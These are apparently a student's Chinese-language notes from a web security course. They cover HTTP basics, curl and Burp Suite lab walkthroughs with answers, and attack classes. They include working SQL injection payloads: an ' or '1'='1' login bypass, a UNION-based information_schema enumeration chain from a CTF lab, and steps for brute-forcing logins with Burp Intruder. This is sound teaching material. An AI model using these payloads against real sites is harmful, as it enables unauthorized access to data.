# 網頁安全.jpg ### 網站思維 **假設想偷東西?** 觀察 - 網站架構 - 基礎是否有更新? - 版本+POC - 網站功能 - 功能漏洞? - 攔截封包 - 網站防禦設備 - 設備否繞過? --- **先了解網站->再了解安全** ### 職涯發展 - ![](https://i.imgur.com/dUyy12S.png) ### 弱點 - ![](https://i.imgur.com/XtO9sS4.png) ### LAB - https://lab.feifei.tw/practice/warm/l1.php - 答案 - Repeater - CVE-2020-10385 - CVE-2016-1240 ### 瀏覽器原理 瀏覽器>request請求封包>伺服器>response取得封包(循環) **構建封包給伺服器,交由伺服器回應,也顯示網頁資訊** - [Mozilla Firefox](https://mozilla.org)(很方便有很多內建工具) - [Microsoft Edge](https://www.microsoft.com/zh-tw/edge)(被譽為微軟的翻身之作 ~~(雖然本身跟chrome差不多~~ ) - [Google Chrome](https://www.google.com/intl/zh-TW/chrome/)(記憶體怪獸) - [Opera](https://www.opera.com/) - [Brave](https://brave.com/)(自由且開原始碼) - [DuckDuckGo](https://duckduckgo.com/)(標榜使用者隱私) 新版EDGE很好用\( ̄︶ ̄*\)) ## 網頁組成 1. HTML 2. HTTP 3. URL | 前端 |後端 | | :----: | :----: | | 瀏覽器(client) | 伺服器(server) | | 電腦可見 |背後邏輯 | | cross-site scripting |injection | | HTML/CSS/javaScript | Node.js/PHP/Python | ### 前端 - 靜態網站練習 - https://fei3363.github.io/WebSecurityCourse/static/external.html - https://github.com/fei3363/WebSecurityCourse/blob/main/static/index.html - html - 網頁骨架 - CSS 做為網頁的動態,或顏色美觀等 通常會包在html的style標籤裡面 也可以利用檔案的模式引入html ```css= <style> h1 { color: blue; } <style> ``` - JS 也可以利用檔案的模式引入html 或利用script的標籤 ```javascript= <script> windows.alert('hello world') </script> ``` 程式語言+DOM+BOM 文件物件描述 瀏覽器物件模型 ### 後端 ##### 把自己電腦當伺服器 - 軟體 - XAMPP(不安全) - Apache - Nginx - IIS(聽說政府機關常用(?? - 合法滲透(行政院國家資通安全網路攻防演練) - 參加台灣好厲駭 --> 攻擊手遴選 --> 合法滲透政府 - https://isip.moe.edu.tw/wordpress/?p=2201 - 行政院國家資通安全會報技術服務中心 主辦 - 攻擊手遴選 - 合法滲透 --> 會去 台北/台南 #### PHP 歷史悠久 漏洞多 管理伺服器(回應封包 重新導向等) [laravel:超好用的免費PHP框架](https://laravel.com/) ```php= <?php echo "Hello world" ?> ``` #### 資料庫 *DBMS資料庫管理系統* ```sql= SELECT * FROM TABLE WHERE username = 123; ``` ##### SQL injection 注入某些東西,改變資料庫等 EX:在密碼填入欄位等,加入特殊的符號等 ```sql -- 我想知道 金額,日期、時間 來自姊姊的豬公 SELECT money,date,reason FROM moneypig where who='sister' --我想知道目前我有多少錢 SELECT SUM(money) FROM myDB.moneypig where who='sister' --經典的解法 ' or '1'='1' --(直接加在密碼欄位 ``` 或是加入 Java Script **[UNION攻擊](https://ithelp.ithome.com.tw/articles/10240102)** --- ## 網頁的溝通方式 **協定(Protocol)** * HTTP * TCP/IP ### HTTP https : 更安全的http 由瀏覽器建構封包 **無狀態協定** - 不保存狀態,不紀錄內容 所以才會有cookie 跟 Session #### 封包 可以透過開發者工具(F12)的網路功能(network)來錄製 **HTTP GET** 1.傳送請求 ``` GET /flag.html HTTP/1.1 ``` 傳送請求(參數) ``` GET /flag.php?para=123 HTTP/1.1 方法 路徑 版本 ``` 2.回應回傳 ()的部分是解釋 ``` HTTP/1.1 200 OK (版本 狀態) Date: Mon, 27 Jul 2009 12:28:53 GMT(日期) Server: Apache/2.2.14 (Win32)(服務版本) Last-Modified: Wed, 22 Jul 2009 19:15:56 GMT(項目最後修改時間) Content-Length: 88(內容的大小) Content-Type: text/html(內容類型) Connection: Closeds(連線後的處理模式 EX:keep-alive ) (文件內容) <html> <body> <h1>Hello, World!</h1> </body> </html> ``` #### cookie 儲存使用者資料,因為http是無狀態通訊協定 換句話來講,可以間接的代表一個人的帳號or身分 因為伺服器只會認識妳各位的cookie 標頭裡面放入set-cookie 會有 * 名稱 * 值 * 時間 * 參數 開發者工具中的應用程式可以到cookie (EDGE截圖)![](https://i.imgur.com/OrtxBww.png) --- ### TCP 可靠的傳輸協定(類似的有UDP但是他不可考) ~~(拯救不少研究生的主題(破壞不少人學分的東東~~ #### 確保封包成功送達 三方交握(三次握手)three way handshake ![](https://i.imgur.com/yCXZUUB.png) --- ### DNS sever 網域名稱系統 **Domain Name System** 將域名跟IP做對應 #### 如何找到IP?? Google Public DNS: 8.8.8.8/8.8.4.4(IPv4) 2001:4860:4860::8888/2001:4860:4860::8844(IPv6) 打開你的CMD ![](https://i.imgur.com/CIAkeJ8.png) nslookup -> 透過域名找到IP位置的指令 ![](https://i.imgur.com/8SmbWX3.png) 其他常用的CMD指令(順便補充XD * ping * tracert * ipconfig --- ### lab - https://lab.feifei.tw/practice/basic/network.php - 答案 - 協定 - HTTP - 應用層 - 封裝 - ARP - 三方交握 - DNS - 139.162.81.48 - https://lab.feifei.tw/practice/basic/en_decode.php - 答案 - : - ? - \# - %20 - %E7%B7%A8%E7%A2%BC - root:password - admin:youGotIt - FEIFEI - https://lab.feifei.tw/practice/basic/http.php - 版本 - CRLF - Host - Content-Type - Content-Length - POST - Set-Cookie - 瀏覽器 ### curl 可以模仿瀏覽器送封包給伺服器,可以直接在CMD中使用,也能透過firefox達成類似的操作 預設方法是採用GET,用-X可以指定方法 - 利用指令模擬瀏覽器請求伺服器的工具 - answer - lab1 - curl 預設是 get - `curl https://lab.feifei.tw/practice/basic/curl/get.php` - lab2 - 題目要求用 POST + 參數 - -X 可以指定 POST - --data 指定參數內容 - `curl -v -X POST --data "data=good" https://lab.feifei.tw/practice/basic/curl/post.php` - lab3 - 題目說要查看 Set-Cookie - Set-Cookie 會放在回應封包的標頭 - -i 可以看回應封包 - `curl -i https://lab.feifei.tw/practice/basic/curl/getcookie.php` - lab4 - 題目說要指定 Cookie - -b 可以指定 Cookie - 你也可以於瀏覽器指定 - application > storge > cookie > add - `curl -b "flag=givemeflag" u8https://lab.feifei.tw/practice/basic/curl/sendcookie.php` - lab5 - OPTIONE 內容會在 Header 中 - -X 指定 Method - -i 看 Header - `curl -X "OPTIONS" -i https://lab.feifei.tw/practice/basic/curl/options.php` - `curl -X "MEOW" -i https://lab.feifei.tw/practice/basic/curl/options.php` - lab6 - curl 預設不會轉跳 - `curl -v https://lab.feifei.tw/practice/basic/curl/location.php` ### burpsiute ![](https://i.imgur.com/uINjLG0.png) ![](https://i.imgur.com/X7CIV4k.png) ![](https://i.imgur.com/liBzdsK.png) ![](https://i.imgur.com/bQ5KFwr.png) - Proxy - Forward - 攔截的封包送回去瀏覽器 - Drop - 攔截到的封包不要了 - Intercept is on - 開啟攔截封包的模式 - Action - 把攔截到封包丟到你想丟的功能 - Open Browser - 開啟內建的瀏覽器 #### 練習用 burpsiute 解 lab - repeater - 可以重送封包的功能 - ![](https://i.imgur.com/Cae4Nk5.png) - 點 HTTP - ![](https://i.imgur.com/E5tboYp.png) - ![](https://i.imgur.com/yedbgI3.png) - - lab1 ```htt GET /practice/basic/curl/get.php HTTP/1.1 Host: lab.feifei.tw ``` ![](https://i.imgur.com/CA59xwV.png) - Content-Type: application/x-www-form-urlencoded ```htt POST /practice/basic/curl/post.php HTTP/1.1 Host: lab.feifei.tw Content-Type: application/x-www-form-urlencoded Content-Length: 9 data=good ``` ![](https://i.imgur.com/ZesMKMw.png) - Get cookie ```htt GET /practice/basic/curl/getcookie.php HTTP/1.1 Host: lab.feifei.tw ``` ![](https://i.imgur.com/v7R8pOh.png) - send cookie ```htt GET /practice/basic/curl/sendcookie.php HTTP/1.1 Host: lab.feifei.tw Cookie: flag=givemeflag ``` ![](https://i.imgur.com/t9hsG4M.png) - OPTIONS ```htt OPTIONS /practice/basic/curl/options.php HTTP/1.1 Host: lab.feifei.tw ``` ![](https://i.imgur.com/UfMQtwN.png) ```htt MEOW /practice/basic/curl/options.php HTTP/1.1 Host: lab.feifei.tw ``` ![](https://i.imgur.com/pwDNmWl.png) - location ```htt GET /practice/basic/curl/location.php HTTP/1.1 Host: lab.feifei.tw ``` ![](https://i.imgur.com/V8HOlGY.png) - 爆破密碼 - ![](https://i.imgur.com/OqSVKlE.png) 1. 攔截登入封包 2. 丟到 intruder 3. 設定爆破類型(Cluster bomb) 4. 設定要爆破地方(帳號、密碼) 5. 設定帳號密碼字典檔 6. 開始爆破 --- ### 被動攻擊 常見的案例 1. 是你?!?!? * 騙你的帳號密碼 * 透過網址檢查是真的還是假的登入頁面 2. 你得獎了 * 騙你的個人資料 * 然後一直把你往下騙 3. 下載防毒軟體 * 透過假的下載連結或騙你下載惡意軟體 * 透過你的User-Agent知道你是用甚麼裝置 --- ### IDOR 尋找一些在網站裡面隱藏的資料 EX:有隱藏的圖片或資料等 攻擊我們能列入參數的地方 [現在我有冰淇淋](https://zeroday.hitcon.org/vulnerability/ZD-2020-01252) ### CTF - SQL injection ' union select 'admin' , 'password' # password 1 and 1=2 union SELECT 1,2,group_concat(schema_name) FROM information_schema.schemata # information_schema,myDb 1 and 1=2 union SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='myDb' # ctfnews,secret 1 and 1=2 union SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='secret' # id,THIS_IS_FLAG 1 and 1=2 union SELECT 1,2,THIS_IS_FLAG FROM myDb.secret # # WEB入門 ## 資安倫理 資安是甚麼? 資訊(的)安全嗎??病毒??駭客?? 妨礙電腦使用罪(刑法第二編第三十六章) 主要:密碼學,系統安全,資訊攻防 BUT 注意法律安全 這些教學皆為理論,但如何使用皆須注意法律問題(白帽、黑帽) ## IF YOU WANT TO *HACK* SOMETHING ?? 如果你覺得有技術卻無處發揮 則: BUG BOUNTY PROGRAMS; [CTFtime](www.ctftime.org) 網路攻防練習手(2017~)(三月底,四月初) ## 網站漏洞原理 ### 假設想偷東西? 網站架構怎麼組成的 -- 基礎建設是否有更新 有多少功能可以使用 -- 功能是否有漏洞漏洞 網站是否有防禦設備 -- 設備是否可繞過 ### 瀏覽器原理 瀏覽器>請求封包>伺服器>取得封包(循環) ### 網頁組成 | 前端 |後端 | | :----: | :----: | | 瀏覽器(client) | 伺服器(server) | | 電腦可見 |背後邏輯 | | cross-site scripting |injection | | HTML/CSS/javaScript | Node.js/PHP/Python | #### 前端技術--CSS ```css= h1 { color: blue; } ``` #### 前端技術--Javascript - Javascript=**DOM**(文件物件模型)+**BOM**(瀏覽器物件模型)+**PL** - 可跟HTML、瀏覽器作互動 #### 前端技術--Static Webpage - 可利用[Github page](https://pages.github.com) - console : javascript #### 後端技術--PHP - 歷史悠久 - 漏洞多 ```php= <?php echo "Hello world" ?> ``` #### 後端技術--資料庫 ```sql= SELECT * FROM TABLE WHERE username = 123; ``` #### 本機技術 伺器軟體--Apache,Nginx,IIS 資料儲存--Database, Cache, File Storage 執行環境--作業系統,雲端環境,容器 #### 瀏覽器 **構建封包給伺服器,交由伺服器回應,也顯示網頁資訊** - [Mozilla Firefox](https://mozilla.org) - [Microsoft Edge](https://www.microsoft.com/zh-tw/edge) - [Google Chrome](https://www.google.com/intl/zh-TW/chrome/) - [Opera](https://www.opera.com/) - [Brave](https://brave.com/) - [DuckDuckGo](https://duckduckgo.com/) ##### 協定 TCP/IP: - 應用層 - 傳輸層 - 網路層 - 連接層 ![](https://i.imgur.com/R04S87Y.png) ### 溝通方式 > 你知道hackmd可以聊天嗎 ``` http:// >> feifei.tw >> :80 >> /study.php >> ?books=brother >> #top 協定 >> >> port ``` #### URL編碼 ``` %20 = " " ``` #### HTTP GET 1.傳送請求 ``` GET /flag.html HTTP/1.1 ``` 傳送請求(參數) ``` GET /flag.php?para=123 HTTP/1.1 ``` 2.回應回傳 ``` HTTP/1.1 200 OK Date: Mon, 27 Jul 2009 12:28:53 GMT Server: Apache/2.2.14 (Win32) Last-Modified: Wed, 22 Jul 2009 19:15:56 GMT Content-Length: 88 Content-Type: text/html Connection: Closeds <html> <body> <h1>Hello, World!</h1> </body> </html> ``` #### HTTP POST ``` POST /flag.php HTTP/1.1 --- header -- username=123&password=qwerty ``` #### Other (http1.1) | Method | 說明 | | :--:|:--:| | get | 取得資料 | | post | 提交指定資源 | | head | 取得標頭(沒有資料) | | options | 取得資源溝通方法 | | put | 取代指定資源 | | delete | 刪除指定資源 | | connect | 和指定資源標明的私服器之間建立隧道 | #### HTTP 狀態碼 | 類別 | 常見 | | :---: | :---: | | 1xx - 資訊回應 | 100 Continue 101 Switching Protocol | | 2xx - 成功回應 | 200 OK | | 3xx - 重定向 | 300 Reirects | | 4xx - 用戶端錯誤 | 401 Unauthoized 403 For Biden 404 Not Found | | 418 - I'm a teapot | The server refuses the attempt to brew coffee with a teapot. | | 5xx - 伺服器錯誤 | 500 Internal Server Error | #### HTTP Cookie **用來記得使用者的資料** - 登入後,伺服器回傳並設置cookie的值 - 再次訪問使用者的請求內會有cookie - 這時候伺服器就透過cookie來對應是哪個使用者 ``` Set-Cookie: FLAG=value ``` **cookie名稱、值、有效期限、其他參數** #### 請求工具 ```bash curl <target URL> ``` #### 攻擊方法 - 主動攻擊 - 直接攻擊脆弱網站 - 植入後門 (EX:[CCU中國文學系](https://zeroday.hitcon.org/vulnerability/search)) - 弱點(未開啟字串偵測): | 動作 | 作法 | | :---: | :---: | | 跟**資料庫**互動 | SQL injection | | 跟**系統**互動 | Command injection | | 跟**信件**互動 | Header injection | | 跟**檔案**互動 | Local File inclusion | | 跟**頁面**互動 | Cross Site Scripting(XSS) | | 跟**後端**互動 | IDOR | ##### SQL injection ```sql -- 我想知道 金額,日期、時間 來自姊姊的豬公 SELECT money,date,reason FROM moneypig where who='sister' --我想知道目前我有多少錢 SELECT SUM(money) FROM myDB.moneypig where who='sister' --以前的萬用解 ' or '1'='1' -- ``` - 被動攻擊 - 釣魚(Phishing) - Session Hijacking - Cross-site request forgery